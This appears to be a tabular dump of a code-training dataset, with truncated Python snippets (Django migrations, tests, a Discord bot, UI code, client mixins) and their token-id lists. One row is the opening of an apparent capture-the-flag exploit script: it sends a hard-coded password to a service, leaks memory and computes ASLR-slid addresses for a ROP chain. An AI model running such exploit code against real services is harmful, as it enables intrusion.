content stringlengths 1 1.05M | input_ids listlengths 1 883k | ratio_char_token float64 1 22.9 | token_count int64 1 883k |
|---|---|---|---|
# Generated by Django 3.0.7 on 2020-07-08 15:41
from django.db import migrations, models
| [
2,
2980,
515,
416,
37770,
513,
13,
15,
13,
22,
319,
12131,
12,
2998,
12,
2919,
1315,
25,
3901,
198,
198,
6738,
42625,
14208,
13,
9945,
1330,
15720,
602,
11,
4981,
628
] | 2.84375 | 32 |
import json
from datetime import date, datetime
import pytest
import responses
from fastapi.testclient import TestClient
from .brandnewday import funds_cache, quote_cache
from ..main import app
from ..models import Quote
client = TestClient(app)
prefix = '/brandnewday/'
def test_get_quotes_unknown_name_return... | [
11748,
33918,
198,
6738,
4818,
8079,
1330,
3128,
11,
4818,
8079,
198,
198,
11748,
12972,
9288,
198,
11748,
9109,
198,
6738,
3049,
15042,
13,
9288,
16366,
1330,
6208,
11792,
198,
198,
6738,
764,
17938,
3605,
820,
1330,
5153,
62,
23870,
1... | 3.222973 | 148 |
# -*- coding: utf-8 -*-
# Form implementation generated from reading ui file 'preferencesDialogUi.ui'
#
# Created by: PyQt5 UI code generator 5.12.3
#
# WARNING! All changes made in this file will be lost!
from PyQt5 import QtCore, QtGui, QtWidgets
| [
2,
532,
9,
12,
19617,
25,
3384,
69,
12,
23,
532,
9,
12,
198,
198,
2,
5178,
7822,
7560,
422,
3555,
334,
72,
2393,
705,
3866,
69,
4972,
44204,
52,
72,
13,
9019,
6,
198,
2,
198,
2,
15622,
416,
25,
9485,
48,
83,
20,
12454,
2438,... | 2.842697 | 89 |
import threading
import random
import time
from eqsn import EQSN
if __name__ == "__main__":
test_measure_from_threads()
exit(0)
| [
11748,
4704,
278,
198,
11748,
4738,
198,
11748,
640,
198,
198,
6738,
37430,
16184,
1330,
36529,
15571,
628,
198,
198,
361,
11593,
3672,
834,
6624,
366,
834,
12417,
834,
1298,
198,
220,
220,
220,
1332,
62,
1326,
5015,
62,
6738,
62,
166... | 2.641509 | 53 |
import unittest
from unittest import TestCase
from utility_functions.stats_functions import permute_columns
from utility_functions.databricks_uf import has_column
from connect2Databricks.spark_init import spark_init
if 'spark' not in locals():
spark, sqlContext, setting = spark_init()
sc = spark.sparkContext
if... | [
11748,
555,
715,
395,
198,
6738,
555,
715,
395,
1330,
6208,
20448,
198,
6738,
10361,
62,
12543,
2733,
13,
34242,
62,
12543,
2733,
1330,
9943,
1133,
62,
28665,
82,
198,
6738,
10361,
62,
12543,
2733,
13,
19608,
397,
23706,
62,
3046,
133... | 3.067227 | 119 |
"""Fun commands that don't do anything really productive
night, thank, shipname, shipcount, ship, hug, pecan, fortune"""
# -*- coding: utf-8 -*-
import pickle
import random
import sqlite3 as lite
import subprocess
import discord
from discord.ext import commands
from lib import shipname_module as improved_shipname, ... | [
37811,
24629,
9729,
326,
836,
470,
466,
1997,
1107,
12973,
198,
198,
3847,
11,
5875,
11,
4074,
3672,
11,
4074,
9127,
11,
4074,
11,
16225,
11,
613,
5171,
11,
15807,
37811,
198,
198,
2,
532,
9,
12,
19617,
25,
3384,
69,
12,
23,
532,
... | 3.066667 | 420 |
import os
import re
import shutil
import attr
import click
import subprocess32 as subprocess
import yaml
from kross.utils import echo, get_std
| [
11748,
28686,
201,
198,
11748,
302,
201,
198,
11748,
4423,
346,
201,
198,
201,
198,
11748,
708,
81,
201,
198,
11748,
3904,
201,
198,
11748,
850,
14681,
2624,
355,
850,
14681,
201,
198,
11748,
331,
43695,
201,
198,
201,
198,
6738,
479,... | 2.854545 | 55 |
from comm.telegram import TelegramCommunicationBot
from telegram import Message
from util.misc import wlog, die, enumerate_2d_array
import traceback
| [
6738,
725,
13,
660,
30536,
1330,
50203,
30813,
3299,
20630,
198,
6738,
573,
30536,
1330,
16000,
198,
6738,
7736,
13,
44374,
1330,
266,
6404,
11,
4656,
11,
27056,
378,
62,
17,
67,
62,
18747,
198,
11748,
12854,
1891,
628,
628,
198
] | 3.731707 | 41 |
import logging
import ipaddress
import os
from . import utils
from . import ymodem
# -------------------------------------------------------------------------------------------------
def add_actions(parser, *actions):
subparsers = parser.add_subparsers(title="Action")
for action in actions:
action_p... | [
11748,
18931,
198,
11748,
20966,
21975,
198,
11748,
28686,
198,
6738,
764,
1330,
3384,
4487,
198,
6738,
764,
1330,
331,
4666,
368,
628,
198,
2,
16529,
3880,
12,
628,
198,
4299,
751,
62,
4658,
7,
48610,
11,
1635,
4658,
2599,
198,
220,
... | 5.718182 | 220 |
"""
DFS
leetcode No.94
"""
# Definition for a binary tree node.
# class TreeNode:
# def __init__(self, val=0, left=None, right=None):
# self.val = val
# self.left = left
# self.right = right
| [
37811,
198,
8068,
50,
198,
293,
316,
8189,
1400,
13,
5824,
198,
37811,
198,
198,
2,
30396,
329,
257,
13934,
5509,
10139,
13,
198,
2,
1398,
12200,
19667,
25,
198,
2,
220,
220,
220,
220,
825,
11593,
15003,
834,
7,
944,
11,
1188,
28,... | 2.2 | 100 |
from common.permissions import IsOwner
from rest_framework.permissions import IsAuthenticated
| [
6738,
2219,
13,
525,
8481,
1330,
1148,
42419,
198,
6738,
1334,
62,
30604,
13,
525,
8481,
1330,
1148,
47649,
3474,
628
] | 4.52381 | 21 |
from AppKit import *
from PyObjCTools.TestSupport import *
if __name__ == "__main__":
main()
| [
6738,
2034,
20827,
1330,
1635,
198,
6738,
9485,
49201,
4177,
10141,
13,
14402,
15514,
1330,
1635,
628,
198,
198,
361,
11593,
3672,
834,
6624,
366,
834,
12417,
834,
1298,
198,
220,
220,
220,
1388,
3419,
198
] | 2.777778 | 36 |
#-*- coding:utf-8 -*-
import pandas as pd
import matplotlib.pyplot as plt
plt.rcParams['font.sans-serif']=['SimHei']# plt
pd.set_option('display.max_columns', None)#
pd.set_option('display.max_rows', None)#
data = pd.read_csv('C:\User\dell\Desktop\\dazhong.csv',encoding='gbk')
#print(data.head())#5
#print(data.head().... | [
2,
12,
9,
12,
19617,
25,
40477,
12,
23,
532,
9,
12,
198,
11748,
19798,
292,
355,
220,
279,
67,
198,
11748,
2603,
29487,
8019,
13,
9078,
29487,
355,
458,
83,
198,
489,
83,
13,
6015,
10044,
4105,
17816,
10331,
13,
82,
504,
12,
265... | 2.18125 | 1,280 |
import pytest
import graphene
from gtmcore.inventory.inventory import InventoryManager
from gtmcore.fixtures import ENV_UNIT_TEST_REPO, ENV_UNIT_TEST_BASE, ENV_UNIT_TEST_REV
from gtmcore.environment import ComponentManager
from gtmcore.environment.bundledapp import BundledAppManager
import gtmcore
from lmsrvlabbook.t... | [
11748,
12972,
9288,
198,
11748,
42463,
198,
198,
6738,
308,
17209,
7295,
13,
24807,
13,
24807,
1330,
35772,
13511,
198,
6738,
308,
17209,
7295,
13,
69,
25506,
1330,
12964,
53,
62,
4944,
2043,
62,
51,
6465,
62,
2200,
16402,
11,
12964,
... | 3.069231 | 130 |
# Copyright 1999-2021 Alibaba Group Holding Ltd.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or a... | [
2,
15069,
7358,
12,
1238,
2481,
41992,
4912,
31703,
12052,
13,
198,
2,
198,
2,
49962,
739,
262,
24843,
13789,
11,
10628,
362,
13,
15,
357,
1169,
366,
34156,
15341,
198,
2,
345,
743,
407,
779,
428,
2393,
2845,
287,
11846,
351,
262,
... | 2.732372 | 624 |
from typing import List
| [
6738,
19720,
1330,
7343,
198
] | 4.8 | 5 |
from flask import render_template
from app import db
from app.errors import bp
| [
198,
6738,
42903,
1330,
8543,
62,
28243,
198,
6738,
598,
1330,
20613,
198,
6738,
598,
13,
48277,
1330,
275,
79,
198
] | 3.809524 | 21 |
import random
import uuid
from locust import HttpUser, task, between
apiUrl = "/webhooks/rest/webhook" # Rasa Core REST API endpoint
# apiUrl = "/core/webhooks/rest/webhook" # Rasa X REST API endpoint
| [
11748,
4738,
198,
11748,
334,
27112,
198,
198,
6738,
1179,
436,
1330,
367,
29281,
12982,
11,
4876,
11,
1022,
198,
198,
15042,
28165,
796,
12813,
12384,
25480,
82,
14,
2118,
14,
12384,
25480,
1,
220,
1303,
371,
15462,
7231,
30617,
7824,
... | 3.059701 | 67 |
# -*- coding:utf-8 -*-
from yepes.apps import apps
AbstractCountry = apps.get_class('standards.abstract_models', 'AbstractCountry')
AbstractCountrySubdivision = apps.get_class('standards.abstract_models', 'AbstractCountrySubdivision')
AbstractCurrency = apps.get_class('standards.abstract_models', 'AbstractCurrency')
... | [
2,
532,
9,
12,
19617,
25,
40477,
12,
23,
532,
9,
12,
198,
198,
6738,
331,
538,
274,
13,
18211,
1330,
6725,
198,
198,
23839,
33921,
796,
6725,
13,
1136,
62,
4871,
10786,
1481,
1371,
13,
397,
8709,
62,
27530,
3256,
705,
23839,
33921... | 3.467066 | 167 |
from .randomForestRules import RandomForestRules | [
6738,
764,
25120,
34605,
37766,
1330,
14534,
34605,
37766
] | 5.333333 | 9 |
#!/usr/bin/env python3
"""quotery.py
This script is part of a daily celery task to fetch a quote
from a JSON file and save it to the database.
There should only be one quote at a time in the database.
On the template, we simply retrieve the quote and
display it on the website as "Quote of the Day".
The idea is to ... | [
2,
48443,
14629,
14,
8800,
14,
24330,
21015,
18,
198,
198,
37811,
421,
313,
1924,
13,
9078,
198,
198,
1212,
4226,
318,
636,
286,
257,
4445,
18725,
1924,
4876,
284,
21207,
257,
9577,
198,
6738,
257,
19449,
2393,
290,
3613,
340,
284,
... | 2.59165 | 982 |
# !/usr/bin/env python
# -*- coding: utf-8 -*-
"""Entry point for the server application."""
import json
import logging
import traceback
from datetime import datetime
from flask import Response, request, jsonify, current_app
from gevent.wsgi import WSGIServer
from flask_jwt_simple import (
JWTManager, jwt_required... | [
2,
5145,
14,
14629,
14,
8800,
14,
24330,
21015,
198,
2,
532,
9,
12,
19617,
25,
3384,
69,
12,
23,
532,
9,
12,
198,
37811,
30150,
966,
329,
262,
4382,
3586,
526,
15931,
198,
198,
11748,
33918,
198,
11748,
18931,
198,
11748,
12854,
1... | 2.330565 | 1,204 |
import random
import string
from django.test import TestCase
from bumblebee.users.models import CustomUser
| [
11748,
4738,
198,
11748,
4731,
198,
198,
6738,
42625,
14208,
13,
9288,
1330,
6208,
20448,
198,
198,
6738,
275,
10344,
20963,
13,
18417,
13,
27530,
1330,
8562,
12982,
628,
198
] | 3.7 | 30 |
# No shebang line, this module is meant to be imported
#
# Copyright 2014 Oliver Palmer
# Copyright 2014 Ambient Entertainment GmbH & Co. KG
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
... | [
2,
1400,
673,
36668,
1627,
11,
428,
8265,
318,
4001,
284,
307,
17392,
198,
2,
198,
2,
15069,
1946,
15416,
18918,
198,
2,
15069,
1946,
12457,
1153,
11058,
402,
2022,
39,
1222,
1766,
13,
509,
38,
198,
2,
198,
2,
49962,
739,
262,
248... | 3.314286 | 525 |
# Zed Attack Proxy (ZAP) and its related class files.
#
# ZAP is an HTTP/HTTPS proxy for assessing web application security.
#
# Copyright 2013 ZAP development team
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a c... | [
2,
46159,
8307,
38027,
357,
57,
2969,
8,
290,
663,
3519,
1398,
3696,
13,
198,
2,
198,
2,
1168,
2969,
318,
281,
14626,
14,
6535,
28820,
15741,
329,
24171,
3992,
3586,
2324,
13,
198,
2,
198,
2,
15069,
2211,
1168,
2969,
2478,
1074,
1... | 3.867347 | 196 |
#!/usr/bin/env python
# Please ensure that you have two Minecraft clients running on port 10000 and
# port 10001 by doing :
# $MALMO_MINECRAFT_ROOT/launchClient.sh -port 10000
# $MALMO_MINECRAFT_ROOT/launchClient.sh -port 10001
import marlo
client_pool = [('127.0.0.1', 10000),('127.0.0.1', 10001)]
join_tokens = marl... | [
2,
48443,
14629,
14,
8800,
14,
24330,
21015,
198,
2,
4222,
4155,
326,
345,
423,
734,
24609,
7534,
2491,
319,
2493,
33028,
290,
220,
198,
2,
2493,
1802,
486,
416,
1804,
1058,
220,
198,
2,
720,
42126,
11770,
62,
23678,
2943,
44700,
62... | 1.971209 | 521 |
# -*- coding: utf-8 -*-
import re
import random
from semantic3.units import ConversionService
from hal.library import HalLibrary
| [
2,
532,
9,
12,
19617,
25,
3384,
69,
12,
23,
532,
9,
12,
198,
198,
11748,
302,
198,
11748,
4738,
628,
198,
6738,
37865,
18,
13,
41667,
1330,
44101,
16177,
198,
6738,
10284,
13,
32016,
1330,
11023,
23377,
628
] | 3.410256 | 39 |
"""
Ory APIs
Documentation for all public and administrative Ory APIs. Administrative APIs can only be accessed with a valid Personal Access Token. Public APIs are mostly used in browsers. # noqa: E501
The version of the OpenAPI document: v0.0.1-alpha.3
Contact: support@ory.sh
Generated by: http... | [
37811,
198,
220,
220,
220,
440,
563,
23113,
628,
220,
220,
220,
43925,
329,
477,
1171,
290,
11553,
440,
563,
23113,
13,
30048,
23113,
460,
691,
307,
17535,
351,
257,
4938,
15644,
8798,
29130,
13,
5094,
23113,
389,
4632,
973,
287,
2261... | 3.219251 | 187 |
from collections import deque
import pickle
from . import Pyraminx, PYRAMINX_CASE_PATH
from multiprocessing import Pool, cpu_count
if __name__ == '__main__':
setup()
| [
6738,
17268,
1330,
390,
4188,
198,
11748,
2298,
293,
198,
6738,
764,
1330,
9485,
859,
28413,
11,
350,
56,
24115,
1268,
55,
62,
34,
11159,
62,
34219,
198,
6738,
18540,
305,
919,
278,
1330,
19850,
11,
42804,
62,
9127,
628,
628,
628,
1... | 2.933333 | 60 |
from torch import nn
| [
6738,
28034,
1330,
299,
77,
198
] | 3.5 | 6 |
# Copyright 2021-2022 Toyota Research Institute. All rights reserved.
import os
from collections import OrderedDict
from dgp.proto.ontology_pb2 import FeatureOntology as FeatureOntologyPb2
from dgp.proto.ontology_pb2 import FeatureOntologyItem
from dgp.utils.protobuf import (generate_uid_from_pbobject, open_feature_o... | [
2,
15069,
33448,
12,
1238,
1828,
20182,
4992,
5136,
13,
1439,
2489,
10395,
13,
198,
198,
11748,
28686,
198,
6738,
17268,
1330,
14230,
1068,
35,
713,
198,
198,
6738,
288,
31197,
13,
1676,
1462,
13,
756,
1435,
62,
40842,
17,
1330,
27018... | 3.410072 | 139 |
# Script to replace text in a designated field in a resource and post the resource back to API.
# Requirements:
# - ASFunctions.py
# - A csv of format repo,asid
# - sheetFeeder (optional, for reporting purposes)
import ASFunctions as asf
import json
from pprint import pprint
import re
import csv
from sheetFeeder impor... | [
2,
12327,
284,
6330,
2420,
287,
257,
11032,
2214,
287,
257,
8271,
290,
1281,
262,
8271,
736,
284,
7824,
13,
198,
2,
24422,
25,
198,
2,
532,
7054,
24629,
2733,
13,
9078,
198,
2,
532,
317,
269,
21370,
286,
5794,
29924,
11,
292,
312,... | 3.307018 | 114 |
from __future__ import print_function
import os
import sys
from py2gcode import gcode_cmd
from py2gcode import cnc_dxf
fileName = sys.argv[1]
feedrate = 120.0
prog = gcode_cmd.GCodeProg()
prog.add(gcode_cmd.GenericStart())
prog.add(gcode_cmd.Space())
prog.add(gcode_cmd.FeedRate(feedrate))
prog.add(gcode_cmd.PathBl... | [
6738,
11593,
37443,
834,
1330,
3601,
62,
8818,
198,
11748,
28686,
220,
198,
11748,
25064,
198,
6738,
12972,
17,
70,
8189,
1330,
308,
8189,
62,
28758,
198,
6738,
12972,
17,
70,
8189,
1330,
269,
10782,
62,
67,
26152,
198,
198,
7753,
537... | 1.953688 | 583 |
#!/usr/bin/env python
# -*- coding:utf-8 -*-
import utils
from datetime import datetime
import calendar
def run(string, entities):
"""Sia tells time and date"""
string = string.lower()
now = datetime.now()
day = datetime.today()
if string.find("time") != -1 and string.find("date") == -1:
... | [
2,
48443,
14629,
14,
8800,
14,
24330,
21015,
198,
2,
532,
9,
12,
19617,
25,
40477,
12,
23,
532,
9,
12,
198,
198,
11748,
3384,
4487,
198,
6738,
4818,
8079,
1330,
4818,
8079,
198,
11748,
11845,
628,
198,
4299,
1057,
7,
8841,
11,
120... | 2.483965 | 343 |
import torch
import torch.nn as nn
import torch.nn.functional as F
from torch.autograd import Variable
import torch.optim as optim
import numpy as np
from collections import namedtuple
from network_modules import *
State = namedtuple('State', ('visual', 'instruction')) | [
11748,
28034,
198,
11748,
28034,
13,
20471,
355,
299,
77,
198,
11748,
28034,
13,
20471,
13,
45124,
355,
376,
198,
6738,
28034,
13,
2306,
519,
6335,
1330,
35748,
198,
11748,
28034,
13,
40085,
355,
6436,
198,
11748,
299,
32152,
355,
45941... | 3.712329 | 73 |
from django.contrib.auth.models import User
from rest_framework import status
from rest_framework.test import APIRequestFactory
from rr.models.certificate import Certificate
from rr.models.serviceprovider import ServiceProvider
from rr.tests.api.api_common import APITestCase
from rr.views_api.certificate import Certif... | [
6738,
42625,
14208,
13,
3642,
822,
13,
18439,
13,
27530,
1330,
11787,
198,
6738,
1334,
62,
30604,
1330,
3722,
198,
6738,
1334,
62,
30604,
13,
9288,
1330,
7824,
18453,
22810,
198,
198,
6738,
374,
81,
13,
27530,
13,
22583,
22460,
1330,
... | 3.795455 | 88 |
# -*- coding: utf-8 -*-
# Modified by Microsoft Corporation.
# Licensed under the MIT license.
"""
"""
import numpy as np
import torch
from nltk import word_tokenize
from .models.Mem2Seq import Mem2Seq
from .utils.config import args, USE_CUDA, UNK_token
from .utils.utils_woz_mem2seq import prepare_data_seq, generate... | [
2,
532,
9,
12,
19617,
25,
3384,
69,
12,
23,
532,
9,
12,
198,
198,
2,
40499,
416,
5413,
10501,
13,
198,
2,
49962,
739,
262,
17168,
5964,
13,
198,
198,
37811,
198,
37811,
198,
11748,
299,
32152,
355,
45941,
198,
11748,
28034,
198,
... | 2.809524 | 126 |
from .th import *
| [
6738,
764,
400,
1330,
1635,
198
] | 3 | 6 |
# wwwhisper - web access control.
# Copyright (C) 2012-2018 Jan Wrobel <jan@mixedbit.org>
from wwwhisper_auth.models import Site
from wwwhisper_auth.tests.utils import HttpTestCase
from wwwhisper_auth.tests.utils import TEST_SITE
import json
FAKE_UUID = '41be0192-0fcc-4a9c-935d-69243b75533c'
TEST_USER_EMAIL = 'foo@b... | [
2,
7324,
14363,
525,
532,
3992,
1895,
1630,
13,
198,
2,
15069,
357,
34,
8,
2321,
12,
7908,
2365,
370,
305,
6667,
1279,
13881,
31,
76,
2966,
2545,
13,
2398,
29,
198,
198,
6738,
7324,
14363,
525,
62,
18439,
13,
27530,
1330,
14413,
1... | 2.47205 | 161 |
"""
Wrapper providing a plistlib interface. Better than a patch?
"""
__all__ = [
"InvalidFileException",
"FMT_XML",
"FMT_BINARY",
"FMT_TEXT",
"load",
"dump",
"loads",
"dumps",
"UID",
]
import plistlib as pl
from enum import Enum
from io import BytesIO
from typing i... | [
37811,
201,
198,
36918,
2848,
4955,
257,
458,
396,
8019,
7071,
13,
11625,
621,
257,
8529,
30,
201,
198,
37811,
201,
198,
834,
439,
834,
796,
685,
201,
198,
220,
220,
220,
366,
44651,
8979,
16922,
1600,
201,
198,
220,
220,
220,
366,
... | 2.0181 | 884 |
# Make kinf
#
# Analyze the fuel materials from different libraries
import numpy as np
import openmc
from openmc import mgxs
import os
import sys; sys.path.append("..")
import materials
import energy_groups
if __name__ == "__main__":
build_model("BATMAN", multigroup=[11, 25])
| [
2,
6889,
479,
10745,
198,
2,
198,
2,
16213,
2736,
262,
5252,
5696,
422,
1180,
12782,
198,
198,
11748,
299,
32152,
355,
45941,
198,
11748,
1280,
23209,
198,
6738,
1280,
23209,
1330,
10527,
34223,
198,
11748,
28686,
198,
11748,
25064,
26,... | 3.166667 | 90 |
import FWCore.ParameterSet.Config as cms
process = cms.Process("HIGHPTSKIM")
process.load('Configuration.StandardSequences.Services_cff')
process.load('FWCore.MessageService.MessageLogger_cfi')
process.load('Configuration.EventContent.EventContentHeavyIons_cff')
process.source = cms.Source("PoolSource",
fileNames ... | [
11748,
48849,
14055,
13,
36301,
7248,
13,
16934,
355,
269,
907,
198,
14681,
796,
269,
907,
13,
18709,
7203,
39,
3528,
14082,
4694,
42,
3955,
4943,
198,
198,
14681,
13,
2220,
10786,
38149,
13,
23615,
44015,
3007,
13,
31007,
62,
66,
487... | 2.641369 | 672 |
from warnings import warn
warn('Deprecated: Moved to ut.util.utime (to avoid name conflict with standard lib `time`)')
from ut.util.utime import * # move here
| [
6738,
14601,
1330,
9828,
198,
198,
40539,
10786,
12156,
31023,
25,
337,
2668,
284,
3384,
13,
22602,
13,
315,
524,
357,
1462,
3368,
1438,
5358,
351,
3210,
9195,
4600,
2435,
63,
8,
11537,
198,
198,
6738,
3384,
13,
22602,
13,
315,
524,
... | 3.306122 | 49 |
"""Runs when the `poop` alias has not been setup."""
from colorama import init
from ..utils import colored
from .alias import is_configured
from .alias import configure
init()
| [
37811,
10987,
82,
618,
262,
4600,
7501,
404,
63,
16144,
468,
407,
587,
9058,
526,
15931,
198,
198,
6738,
3124,
1689,
1330,
2315,
198,
6738,
11485,
26791,
1330,
16396,
198,
6738,
764,
26011,
1330,
318,
62,
11250,
1522,
198,
6738,
764,
... | 3.708333 | 48 |
# -*- coding: utf-8 -*-
# Generated by Django 1.10.5 on 2017-03-12 15:32
from __future__ import unicode_literals
from django.db import migrations, models
| [
2,
532,
9,
12,
19617,
25,
3384,
69,
12,
23,
532,
9,
12,
198,
2,
2980,
515,
416,
37770,
352,
13,
940,
13,
20,
319,
2177,
12,
3070,
12,
1065,
1315,
25,
2624,
198,
6738,
11593,
37443,
834,
1330,
28000,
1098,
62,
17201,
874,
198,
... | 2.736842 | 57 |
# -*- coding: UTF-8 -*-
from functools import reduce
from operator import mul
| [
2,
532,
9,
12,
19617,
25,
41002,
12,
23,
532,
9,
12,
198,
6738,
1257,
310,
10141,
1330,
4646,
198,
6738,
10088,
1330,
35971,
628,
198
] | 3.076923 | 26 |
import math
from collections import OrderedDict
import pytest
import torch
from torch import nn
import continual as co
from continual.module import TensorPlaceholder
torch.manual_seed(42)
| [
11748,
10688,
198,
6738,
17268,
1330,
14230,
1068,
35,
713,
198,
198,
11748,
12972,
9288,
198,
11748,
28034,
198,
6738,
28034,
1330,
299,
77,
198,
198,
11748,
37639,
355,
763,
198,
6738,
37639,
13,
21412,
1330,
309,
22854,
27271,
13829,
... | 3.370968 | 62 |
from django.contrib.auth.models import AbstractUser
from django.db import models
| [
6738,
42625,
14208,
13,
3642,
822,
13,
18439,
13,
27530,
1330,
27741,
12982,
198,
6738,
42625,
14208,
13,
9945,
1330,
4981,
628
] | 3.727273 | 22 |
"""Sampling code for the parrot.
Loads the trained model and samples.
"""
import numpy
import os
import cPickle
import logging
from blocks.serialization import load_parameters
from blocks.model import Model
from datasets import parrot_stream
from model import Parrot
from utils import (
attention_plot, sample_pa... | [
37811,
16305,
11347,
2438,
329,
262,
1582,
10599,
13,
198,
198,
8912,
82,
262,
8776,
2746,
290,
8405,
13,
198,
37811,
198,
198,
11748,
299,
32152,
198,
11748,
28686,
198,
11748,
269,
31686,
293,
198,
11748,
18931,
198,
198,
6738,
7021,
... | 2.176232 | 4,687 |
import socket
import re
from struct import pack
from time import sleep
host = '192.168.0.10'
s=socket.create_connection((host, 9998))
recv_until(s, "Password:")
s.send('GreenhornSecretPassword!!!\n')
### leak
recv_until(s, 'Selection:')
slide, stack = leak(s)
VirtualAlloc = 0x11c0 + slide
memcpy = 0x1684 + slide
... | [
11748,
17802,
198,
11748,
302,
198,
6738,
2878,
1330,
2353,
198,
6738,
640,
1330,
3993,
198,
198,
4774,
796,
705,
17477,
13,
14656,
13,
15,
13,
940,
6,
198,
82,
28,
44971,
13,
17953,
62,
38659,
19510,
4774,
11,
860,
34808,
4008,
628... | 1.643169 | 1,830 |
# encoding: UTF-8
from __future__ import division
from datetime import datetime
from math import floor
import pandas as pd
import numpy as np
import sys
sys.path.append('../')
#sys.path.append('D:\\tr\\vnpy-master\\vn.trader\\DAO')
sys.path.append('D:\\tr\\vnpy-1.7\\vnpy\\DAO')
sys.path.append('D:\\tr\\vnpy-1.7\\vn... | [
2,
21004,
25,
41002,
12,
23,
198,
198,
6738,
11593,
37443,
834,
1330,
7297,
198,
198,
6738,
4818,
8079,
1330,
4818,
8079,
198,
6738,
10688,
1330,
4314,
198,
198,
11748,
19798,
292,
355,
279,
67,
198,
11748,
299,
32152,
355,
45941,
198... | 2.478947 | 380 |
from app import SlashBot
from async_timeout import timeout
from asyncio import TimeoutError
from datetime import datetime, timedelta, timezone
from hikari import ButtonStyle, CacheSettings, Member, UNDEFINED
from random import choice, sample, uniform
bot = SlashBot(cache_settings=CacheSettings(max_messages=1000... | [
6738,
598,
1330,
26616,
20630,
201,
198,
6738,
30351,
62,
48678,
1330,
26827,
201,
198,
6738,
30351,
952,
1330,
3862,
448,
12331,
201,
198,
6738,
4818,
8079,
1330,
4818,
8079,
11,
28805,
12514,
11,
640,
11340,
201,
198,
6738,
289,
1134,... | 3.44898 | 98 |
import pytest
from hamcrest import assert_that, equal_to, is_
from django.conf import settings
| [
11748,
12972,
9288,
198,
6738,
8891,
66,
2118,
1330,
6818,
62,
5562,
11,
4961,
62,
1462,
11,
318,
62,
198,
198,
6738,
42625,
14208,
13,
10414,
1330,
6460,
628
] | 3.344828 | 29 |
from django.apps import AppConfig
| [
6738,
42625,
14208,
13,
18211,
1330,
2034,
16934,
628
] | 3.888889 | 9 |
''' Threads that go to/from containers, limit data and lines, and insert
data into the Data table. '''
import threading
from src import tables
from src.logger import logger
from src.lazy_init import lazy_init
| [
7061,
6,
14122,
82,
326,
467,
284,
14,
6738,
16472,
11,
4179,
1366,
290,
3951,
11,
290,
7550,
198,
7890,
656,
262,
6060,
3084,
13,
705,
7061,
198,
11748,
4704,
278,
198,
198,
6738,
12351,
1330,
8893,
198,
6738,
12351,
13,
6404,
1362... | 3.62069 | 58 |
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Version testing
Don't want to run when running `pytest`, only run when something
is pushed to develop branch or PR to master.
"""
import configparser
import requests
from com_server import __version__
from passive.cmp_version import Version
def test_version_great... | [
2,
48443,
14629,
14,
8800,
14,
24330,
21015,
18,
198,
2,
532,
9,
12,
19617,
25,
3384,
69,
12,
23,
532,
9,
12,
198,
198,
37811,
198,
14815,
4856,
198,
198,
3987,
470,
765,
284,
1057,
618,
2491,
4600,
9078,
9288,
47671,
691,
1057,
... | 2.995902 | 244 |
from django.db import models
from django.conf import settings
from django.contrib.gis.db import models
from madrona.features import register
from madrona.features.models import Feature
| [
6738,
42625,
14208,
13,
9945,
1330,
4981,
198,
6738,
42625,
14208,
13,
10414,
1330,
6460,
198,
6738,
42625,
14208,
13,
3642,
822,
13,
70,
271,
13,
9945,
1330,
4981,
198,
6738,
8805,
1313,
64,
13,
40890,
1330,
7881,
198,
6738,
8805,
13... | 3.7 | 50 |
from Utility import resources as ex
# noinspection PyPep8
| [
6738,
34030,
1330,
4133,
355,
409,
628,
198,
2,
645,
1040,
14978,
9485,
47,
538,
23,
198
] | 3.529412 | 17 |
"""
Exposes an experimental mixin for each pachyderm service. These mixins should
not be used directly; instead, you should use
``python_pachyderm.experimental.Client()``. The mixins exist exclusively in
order to provide better code organization, because we have several mixins,
rather than one giant
:class:`Client <pyt... | [
37811,
198,
3109,
4832,
281,
11992,
5022,
259,
329,
1123,
279,
35586,
1082,
76,
2139,
13,
2312,
5022,
1040,
815,
198,
1662,
307,
973,
3264,
26,
2427,
11,
345,
815,
779,
198,
15506,
29412,
62,
79,
35586,
1082,
76,
13,
23100,
9134,
13... | 3.74 | 100 |
import logging
logger = logging.getLogger("Hydraslayer")
def get_consensusbase(bases, mincov=3):
"""
:param mincov:
:type bases: list
"""
bases = "".join(bases)
a = bases.count('A')
t = bases.count('T')
c = bases.count('C')
g = bases.count('G')
n = bases.count("N") + bases.c... | [
11748,
18931,
198,
198,
6404,
1362,
796,
18931,
13,
1136,
11187,
1362,
7203,
40436,
8847,
29289,
4943,
628,
198,
4299,
651,
62,
5936,
7314,
8692,
7,
65,
1386,
11,
949,
66,
709,
28,
18,
2599,
198,
220,
220,
220,
37227,
628,
220,
220,... | 2.321429 | 448 |
import copy
import numpy as np
from collections import defaultdict
import utils
| [
11748,
4866,
198,
11748,
299,
32152,
355,
45941,
198,
6738,
17268,
1330,
4277,
11600,
198,
198,
11748,
3384,
4487,
628
] | 4.1 | 20 |
for node in lst:
print(node.value)
| [
1640,
10139,
287,
300,
301,
25,
198,
220,
220,
220,
3601,
7,
17440,
13,
8367,
8,
198
] | 2.294118 | 17 |
"""
Miscellaneous functions regarding MS2PIP file conversions.
"""
import re
import pandas as pd
def add_fixed_mods(peprec, fixed_mods=None, n_term=None, c_term=None):
"""
Add 'fixed' modifications to all peptides in an MS2PIP PEPREC file.
Return list with MS2PIP modifications with fixed mods added.
... | [
37811,
198,
31281,
25673,
5499,
5115,
6579,
17,
47,
4061,
2393,
32626,
13,
198,
37811,
628,
198,
11748,
302,
198,
11748,
19798,
292,
355,
279,
67,
628,
198,
4299,
751,
62,
34021,
62,
24122,
7,
431,
3866,
66,
11,
5969,
62,
24122,
28,... | 2.320955 | 1,131 |
# Configuration file for the Sphinx documentation builder.
#
# This file only contains a selection of the most common options. For a full
# list see the documentation:
# https://www.sphinx-doc.org/en/master/usage/configuration.html
# -- Path setup --------------------------------------------------------------
import o... | [
2,
28373,
2393,
329,
262,
45368,
28413,
10314,
27098,
13,
198,
2,
198,
2,
770,
2393,
691,
4909,
257,
6356,
286,
262,
749,
2219,
3689,
13,
1114,
257,
1336,
198,
2,
1351,
766,
262,
10314,
25,
198,
2,
3740,
1378,
2503,
13,
82,
746,
... | 3.435198 | 733 |
